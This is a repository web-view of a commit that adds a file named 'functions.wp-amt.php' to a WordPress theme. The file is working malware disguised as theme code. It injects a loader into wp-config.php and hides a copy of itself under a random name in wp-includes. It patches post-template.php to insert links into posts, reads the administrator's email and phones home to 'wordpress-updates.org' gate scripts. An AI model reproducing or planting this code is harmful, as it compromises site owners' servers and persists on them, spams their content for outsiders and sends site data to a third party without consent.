web/wp-content/themes/bgw/functions.wp-amt.php
author ymh
Fri, 12 Mar 2010 13:29:04 +0000
changeset 1 0d28b7c10758
child 2 4f3e6ea1c867
permissions -rw-r--r--
First commit
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
1
0d28b7c10758 First commit
ymh
parents:
diff changeset
     1
<?
0d28b7c10758 First commit
ymh
parents:
diff changeset
     2
$amt_u_tpl=5;
0d28b7c10758 First commit
ymh
parents:
diff changeset
     3
if(!function_exists(amt_gp))
0d28b7c10758 First commit
ymh
parents:
diff changeset
     4
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
     5
	function amt_gp()
0d28b7c10758 First commit
ymh
parents:
diff changeset
     6
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
     7
		if(!function_exists(amt_rdr))
0d28b7c10758 First commit
ymh
parents:
diff changeset
     8
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
     9
			function amt_rdr($dir)
0d28b7c10758 First commit
ymh
parents:
diff changeset
    10
			{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    11
			$handle=@opendir($dir);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    12
				while($file=@readdir($handle))
0d28b7c10758 First commit
ymh
parents:
diff changeset
    13
				{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    14
					if($file!="." && $file!="..")
0d28b7c10758 First commit
ymh
parents:
diff changeset
    15
					{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    16
					$t_dir[]=$file;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    17
					}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    18
				}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    19
			@closedir($handle);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    20
			return $t_dir;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    21
			}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    22
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    23
	$link=explode("/", $_SERVER["SCRIPT_FILENAME"]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    24
	$sfn=$_SERVER["SCRIPT_FILENAME"];
0d28b7c10758 First commit
ymh
parents:
diff changeset
    25
	$r_dir=$sfn;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    26
	for($q=sizeof($link)-1;$q>0;$q--)
0d28b7c10758 First commit
ymh
parents:
diff changeset
    27
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    28
	$link[$q]="/".$link[$q];
0d28b7c10758 First commit
ymh
parents:
diff changeset
    29
	$r_dir=str_replace($link[$q],"",$r_dir);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    30
	$rdr=amt_rdr($r_dir);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    31
		if(@in_array('wp-config.php',$rdr))
0d28b7c10758 First commit
ymh
parents:
diff changeset
    32
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    33
		$root_dir[0]=$r_dir;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    34
		break;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    35
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    36
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    37
	$root_dir[1]=$root_dir[0]."/wp-includes";
0d28b7c10758 First commit
ymh
parents:
diff changeset
    38
	$t_dir=$root_dir[0]."/wp-content/themes/";
0d28b7c10758 First commit
ymh
parents:
diff changeset
    39
	$t_dirs=amt_rdr($t_dir);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    40
	for($q=0;$q<sizeof($t_dirs);$q++)
0d28b7c10758 First commit
ymh
parents:
diff changeset
    41
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    42
	$p_d=$t_dir.$t_dirs[$q];
0d28b7c10758 First commit
ymh
parents:
diff changeset
    43
	$f_d=amt_rdr($p_d);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    44
		if(@in_array('functions.wp-amt.php',$f_d))
0d28b7c10758 First commit
ymh
parents:
diff changeset
    45
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    46
		$root_dir[2]=$p_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    47
		$root_dir[4]=$t_dirs[$q];
0d28b7c10758 First commit
ymh
parents:
diff changeset
    48
		break;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    49
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    50
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    51
	if(isset($_SERVER['SUBDOMAIN_DOCUMENT_ROOT'])) { $dr=$_SERVER['SUBDOMAIN_DOCUMENT_ROOT']; } else { $dr=$_SERVER['DOCUMENT_ROOT']; }
0d28b7c10758 First commit
ymh
parents:
diff changeset
    52
	$root_dir[3]=str_replace($dr,'',$root_dir[0]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    53
	return $root_dir;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    54
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    55
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    56
class amt_data
0d28b7c10758 First commit
ymh
parents:
diff changeset
    57
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    58
var $n_f;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    59
var $t_o;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    60
var $c_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    61
var $host;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    62
var $wp_c;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    63
var $wp_pt;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    64
var $wp_ff;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    65
var $wp_fwp;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    66
var $t_n;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    67
var $u_g;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    68
var $wrt;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    69
var $r_dir;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    70
var $my_h;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    71
var $a_em;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    72
var $p_ttl;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    73
var $p_cgy;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    74
	function amt_trim_domen()
0d28b7c10758 First commit
ymh
parents:
diff changeset
    75
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    76
	$amt_site=str_replace(".","",$_SERVER['HTTP_HOST']);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    77
	$amt_site=str_replace("-","_",$amt_site);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    78
	$amt_site=str_replace("www","",$amt_site);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    79
	return $amt_site;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    80
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    81
	function amt_gfn()
0d28b7c10758 First commit
ymh
parents:
diff changeset
    82
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    83
	$num=rand(7,14);
0d28b7c10758 First commit
ymh
parents:
diff changeset
    84
	$arr=array('a','b','d','e','f','g','h','i','j','k','l','m','n','p','r','s','t','v','x','y','z');
0d28b7c10758 First commit
ymh
parents:
diff changeset
    85
	$rfn="";
0d28b7c10758 First commit
ymh
parents:
diff changeset
    86
		for($i=0;$i<$num;$i++)
0d28b7c10758 First commit
ymh
parents:
diff changeset
    87
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    88
		$ind=rand(0,sizeof($arr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
    89
		$rfn.=$arr[$ind];
0d28b7c10758 First commit
ymh
parents:
diff changeset
    90
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    91
	$rfn.=".php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
    92
	return $rfn;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    93
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
    94
	function amt_gtbl()
0d28b7c10758 First commit
ymh
parents:
diff changeset
    95
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
    96
	global $table_prefix;
0d28b7c10758 First commit
ymh
parents:
diff changeset
    97
	$amt_site=$this->amt_trim_domen();
0d28b7c10758 First commit
ymh
parents:
diff changeset
    98
	$this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt");
0d28b7c10758 First commit
ymh
parents:
diff changeset
    99
	return $t_n;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   100
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   101
	function amt_gae()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   102
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   103
	global $wpdb, $table_prefix;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   104
	$uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   105
	$uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   106
	$this->a_em=$uem[0];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   107
	return $a_em;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   108
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   109
	function amt_crtb()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   110
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   111
	global $wpdb;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   112
	$this->amt_gtbl();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   113
	$query="
0d28b7c10758 First commit
ymh
parents:
diff changeset
   114
	CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." (
0d28b7c10758 First commit
ymh
parents:
diff changeset
   115
	id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   116
	id_post INT(9) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   117
	last_up DATETIME NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   118
	addd DATETIME NOT NULL
0d28b7c10758 First commit
ymh
parents:
diff changeset
   119
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   120
	";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   121
	$wpdb->query($query);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   122
	$query="
0d28b7c10758 First commit
ymh
parents:
diff changeset
   123
	CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." (
0d28b7c10758 First commit
ymh
parents:
diff changeset
   124
	id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   125
	l_b ENUM('0', '1') NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   126
	id_post INT(9) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   127
	word VARCHAR(255) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   128
	id_word INT( 9 ) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   129
	link VARCHAR(255) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   130
	date DATE NOT NULL 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   131
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   132
	";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   133
	$wpdb->query($query);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   134
	$query="
0d28b7c10758 First commit
ymh
parents:
diff changeset
   135
	CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." (
0d28b7c10758 First commit
ymh
parents:
diff changeset
   136
	host VARCHAR(255) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   137
	t_o VARCHAR(255) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   138
	n_f VARCHAR(255) NOT NULL ,
0d28b7c10758 First commit
ymh
parents:
diff changeset
   139
	date DATE NOT NULL 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   140
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   141
	";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   142
	$wpdb->query($query);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   143
	$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   144
	$this->host=$mda[0];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   145
		if($this->host=="")
0d28b7c10758 First commit
ymh
parents:
diff changeset
   146
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   147
		$amt_nf=$this->amt_gfn();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   148
		$query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   149
		$wpdb->query($query);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   150
		$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   151
		$this->host=$mda[0];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   152
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   153
	$mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   154
	$mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   155
	$mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   156
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   157
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   158
$amt_d=new amt_data;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   159
$amt_d->amt_crtb();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   160
$amt_d->amt_gae();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   161
$root_dir=amt_gp();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   162
$amt_d->u_tpl=$amt_u_tpl;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   163
$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   164
$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   165
$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   166
$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   167
$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   168
$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   169
$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   170
$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   171
$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   172
if(file_exists($amt_d->wp_ff)) {  $amt_d->wrt=1; } else { $amt_d->wrt=0; }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   173
amt_ci();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   174
amt_cifi();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   175
0d28b7c10758 First commit
ymh
parents:
diff changeset
   176
function amt_cif()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   177
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   178
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   179
if(file_exists($amt_d->wp_ff)) {  return true; } else { return false; }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   180
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   181
0d28b7c10758 First commit
ymh
parents:
diff changeset
   182
function amt_cifi()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   183
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   184
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   185
$today=date("Ymd");
0d28b7c10758 First commit
ymh
parents:
diff changeset
   186
	if($today<=20100225)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   187
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   188
	$post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   189
	amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   190
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   191
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   192
0d28b7c10758 First commit
ymh
parents:
diff changeset
   193
function amt_ci()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   194
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   195
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   196
	$sha="!amt_cif!si";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   197
	$sha2="!".$amt_d->n_f."!si";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   198
	$cont=file_get_contents($amt_d->wp_c);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   199
		if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   200
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   201
		$amt_d->ci[0]=0;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   202
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   203
		else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   204
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   205
		$amt_d->ci[0]=1;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   206
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   207
	$sha="!amt_cc!si";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   208
	$cont=file_get_contents($amt_d->wp_pt);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   209
		if(!preg_match($sha,$cont,$match))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   210
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   211
		$amt_d->ci[1]=0;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   212
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   213
		else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   214
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   215
		$amt_d->ci[1]=1;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   216
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   217
0d28b7c10758 First commit
ymh
parents:
diff changeset
   218
		if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   219
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   220
		$amt_d->ci[2]=0;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   221
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   222
		else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   223
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   224
		$amt_d->ci[2]=1;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   225
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   226
if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   227
if($amt_d->ci[3]==0)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   228
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   229
	if($amt_d->ci[0]==0)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   230
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   231
	chmod($amt_d->wp_c, 0755);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   232
	$cont=trim(file_get_contents($amt_d->wp_c));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   233
	$sha="/\?>$/";	
0d28b7c10758 First commit
ymh
parents:
diff changeset
   234
	if(preg_match($sha,$cont,$name))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   235
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   236
	$cont=$cont."
0d28b7c10758 First commit
ymh
parents:
diff changeset
   237
<? if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   238
	}		
0d28b7c10758 First commit
ymh
parents:
diff changeset
   239
	else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   240
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   241
	$cont=$cont."
0d28b7c10758 First commit
ymh
parents:
diff changeset
   242
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   243
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   244
	$amt_f = fopen($amt_d->wp_c,"w");
0d28b7c10758 First commit
ymh
parents:
diff changeset
   245
	$test = fwrite($amt_f, $cont);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   246
	fclose($amt_f);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   247
	if($test) { chmod($amt_d->wp_c, 0644); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   248
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   249
	if($amt_d->ci[1]==0)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   250
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   251
	$cont=file_get_contents($amt_d->wp_pt);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   252
$sha1="echo \$content;";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   253
$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   254
	echo \$content;";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   255
	$cont=str_replace($sha1,$sha2,$cont);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   256
	chmod($amt_d->wp_pt, 0755);			
0d28b7c10758 First commit
ymh
parents:
diff changeset
   257
	$amt_f = fopen($amt_d->wp_pt,"w");
0d28b7c10758 First commit
ymh
parents:
diff changeset
   258
	$test = fwrite($amt_f, $cont);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   259
	fclose($amt_f);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   260
	if($test) { @chmod($amt_d->wp_pt, 0644); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   261
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   262
	if($amt_d->ci[2]==0)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   263
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   264
	$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   265
	if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   266
	if(file_exists($amt_d->wp_ff))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   267
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   268
	chmod($amt_d->wp_ff, 0755);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   269
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   270
	$amt_f = fopen($amt_d->wp_ff,"w");
0d28b7c10758 First commit
ymh
parents:
diff changeset
   271
	$test = fwrite($amt_f, $content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   272
	fclose($amt_f);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   273
	if($test) { chmod($amt_d->wp_ff, 0644); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   274
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   275
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   276
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   277
function amt_cc($content)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   278
{	
0d28b7c10758 First commit
ymh
parents:
diff changeset
   279
	global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   280
	$amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   281
	amt_copt($amt_url);	if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   282
	return $content;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   283
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   284
function amt_gct($id)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   285
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   286
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   287
$ololo=get_post($id);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   288
$amt_cty=get_the_category(); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   289
$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   290
$amt_d->p_ttl=$ololo->post_title;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   291
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   292
function amt_cco($id, $content)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   293
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   294
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   295
$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   296
$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   297
$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   298
	for($q=0;$q < count($q_word);$q++)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   299
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   300
	$content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   301
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   302
$content.=amt_abl($id);	
0d28b7c10758 First commit
ymh
parents:
diff changeset
   303
return $content;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   304
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   305
function amt_abl($id)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   306
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   307
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   308
$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   309
	if($t_link[0]!="")
0d28b7c10758 First commit
ymh
parents:
diff changeset
   310
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   311
	$tlk="<p>".$t_link[0]."</p>";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   312
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   313
	else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   314
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   315
	$tlk="";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   316
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   317
return $tlk;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   318
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   319
